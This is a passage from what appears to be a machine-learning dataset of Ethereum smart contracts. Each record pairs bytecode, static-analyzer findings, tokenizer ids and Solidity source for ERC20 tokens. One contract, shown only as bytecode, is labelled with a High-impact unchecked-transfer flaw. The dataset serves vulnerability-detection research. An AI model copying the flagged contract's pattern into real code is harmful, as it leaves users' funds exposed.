15260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156148ec5760076000846000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632338508961481184612bbc565b61481a88612bbc565b876040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b1580156148d357600080fd5b505af11580156148e7573d6000803e3d6000fd5b505050505b600190505b949350505050565b6000858714156149195761491260026201388001614c4e565b9050614bf5565b60008514156149385761493160036201388001614c4e565b9050614bf5565b846149438886612357565b101561495f5761495860046201388001614c4e565b9050614bf5565b818714158015614978575084614976888487614bff565b105b156149935761498c60056201388001614c4e565b9050614bf5565b61499f87878787614eb6565b8187141515614a46576149fe8560066000876000191660001916815260200190815260200160002060050160008a8152602001908152602001600020600101600085815260200190815260200160002054614d0190919063ffffffff16565b60066000866000191660001916815260200190815260200160002060050160008981526020019081526020016000206001016000848152602001908152602001600020819055505b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663515c1457614a8d89612bbc565b614a9689612bbc565b8789886040518663ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001846000191660001916815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015614b7c578082015181840152602081019050614b61565b50505050905090810190601f168015614ba95780820380516001836020036101000a031916815260200191505b509650505050505050600060405180830381600087803b158015614bcc57600080fd5b505af1158015614be0573d6000803e3d6000fd5b50505050614bf087878787614d1a565b600190505b9695505050505050565b6000600660008360001916600019168152602001908152602001600020600501600085815260200190815260200160002060010160008481526020019081526020016000205490509392505050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663df26ca08836040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b158015614ce157600080fd5b505af1158015614cf5573d6000803e3d6000fd5b50505050819050919050565b6000828211151515614d0f57fe5b818303905092915050565b600060076000836000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515614eb05760076000826000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323de6651614dd586612bbc565b614dde86612bbc565b856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015614e9757600080fd5b505af1158015614eab573d6000803e3d6000fd5b505050505b50505050565b614efb82600660008460001916600019168152602001908152602001600020600501600087815260200190815260200160002060000154614d0190919063ffffffff16565b600660008360001916600019168152602001908152602001600020600501600086815260200190815260200160002060000181905550614f7682600660008460001916600019168152602001908152602001600020600501600086815260200190815260200160002060000154614fb290919063ffffffff16565b60066000836000191660001916815260200190815260200160002060050160008581526020019081526020016000206000018190555050505050565b6000808284019050838110151515614fc657fe5b8091505092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061501157805160ff191683800117855561503f565b8280016001018555821561503f579182015b8281111561503e578251825591602001919060010190615023565b5b50905061504c9190615050565b5090565b61507291905b8082111561506e576000816000905550600101615056565b5090565b905600a165627a7a72305820446a17b2d2bdf9d4d98063d90d35acc9a324b1d389a068476ce481c266585dfa0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 29097, 2575, 2475, 2098, 27814, 10354, 2497, 28311, 24096, 16086, 2509, 2497, 2620, 2094, 2581, 18827, 2581, 2546, 20958, 2509, 3676, 2063, 2692, 3207, 2497, 19481, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 2236, 4800, 18697, 7666, 24158, 7062, 5310, 1012, 1008, 1008, 1013, 3206, 4800, 18697, 7666, 24158, 7062, 8447, 13876, 2121, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 2009, 2003, 4769, 1997, 4800, 18697, 7666, 24158, 7062, 20587, 10262, 2057, 2024, 2503, 1997, 11849, 2655, 1012, 1008, 1013, 3853, 1035, 2969, 1006, 1007, 5377, 4722, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 1013, 1013, 1013, 1030, 2516, 4636, 19204, 2015, 4132, 12495, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,117
0x963E155f983CAd188EceCc349BDCE60A48f091b3
// SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor (string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /** * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") { constructor ( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") payable { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806354fd4d501161008c57806395d89b411161006657806395d89b4114610195578063a457c2d71461019d578063a9059cbb146101b0578063dd62ed3e146101c357600080fd5b806354fd4d501461015c57806370a08231146101645780637afa1eed1461018d57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc6101fc565b6040516100e99190610846565b60405180910390f35b61010561010036600461081d565b61028e565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046107e2565b6102a4565b604051601281526020016100e9565b61010561015736600461081d565b61035a565b6100dc610391565b61011961017236600461078f565b6001600160a01b031660009081526020819052604090205490565b6100dc6103a0565b6100dc6103c0565b6101056101ab36600461081d565b6103cf565b6101056101be36600461081d565b61046a565b6101196101d13660046107b0565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461020b906108c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610237906108c8565b80156102845780601f1061025957610100808354040283529160200191610284565b820191906000526020600020905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b600061029b338484610477565b50600192915050565b60006102b184848461059b565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561033b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61034f853361034a86856108b1565b610477565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161029b91859061034a908690610899565b60606005805461020b906108c8565b60606040518060600160405280602f815260200161091a602f9139905090565b60606004805461020b906108c8565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104515760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610332565b610460338561034a86856108b1565b5060019392505050565b600061029b33848461059b565b6001600160a01b0383166104d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610332565b6001600160a01b03821661053a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610332565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610332565b6001600160a01b0382166106615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610332565b6001600160a01b038316600090815260208190526040902054818110156106d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610332565b6106e382826108b1565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610719908490610899565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161076591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461078a57600080fd5b919050565b6000602082840312156107a0578081fd5b6107a982610773565b9392505050565b600080604083850312156107c2578081fd5b6107cb83610773565b91506107d960208401610773565b90509250929050565b6000806000606084860312156107f6578081fd5b6107ff84610773565b925061080d60208501610773565b9150604084013590509250925092565b6000806040838503121561082f578182fd5b61083883610773565b946020939093013593505050565b6000602080835283518082850152825b8181101561087257858101830151858201604001528201610856565b818111156108835783604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108ac576108ac610903565b500190565b6000828210156108c3576108c3610903565b500390565b600181811c908216806108dc57607f821691505b602082108114156108fd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe68747470733a2f2f766974746f6d696e61636f72692e6769746875622e696f2f65726332302d67656e657261746f72a26469706673582212200315b04416bc8583c10593e3cb96b647a898c96162e4c292753f8ea5ec5a123164736f6c63430008040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2509, 2063, 16068, 2629, 2546, 2683, 2620, 2509, 3540, 2094, 15136, 2620, 26005, 9468, 22022, 2683, 2497, 16409, 2063, 16086, 2050, 18139, 2546, 2692, 2683, 2487, 2497, 2509, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 1008, 19204, 2038, 2042, 7013, 2005, 2489, 2478, 16770, 1024, 1013, 1013, 6819, 9284, 22311, 27108, 2072, 1012, 21025, 2705, 12083, 1012, 22834, 1013, 9413, 2278, 11387, 1011, 13103, 1013, 1008, 1008, 3602, 1024, 1000, 3206, 3120, 3642, 20119, 1006, 2714, 2674, 1007, 1000, 2965, 2008, 2023, 19204, 2003, 2714, 2000, 2060, 19204, 2015, 7333, 1008, 2478, 1996, 2168, 13103, 1012, 2009, 2003, 2025, 2019, 3277, 1012, 2009, 2965, 2008, 2017, 2180, 1005, 1056, 2342, 2000, 20410, 2115, 3120, 3642, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,118
0x963e8A136e917DEdDec9f46666FED47Bfa14b387
// SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.9.0; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract REIN is ERC20 { constructor() ERC20("REIN", "REIN") { _mint(msg.sender, 1000000000 * (10 ** uint256(decimals()))); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot 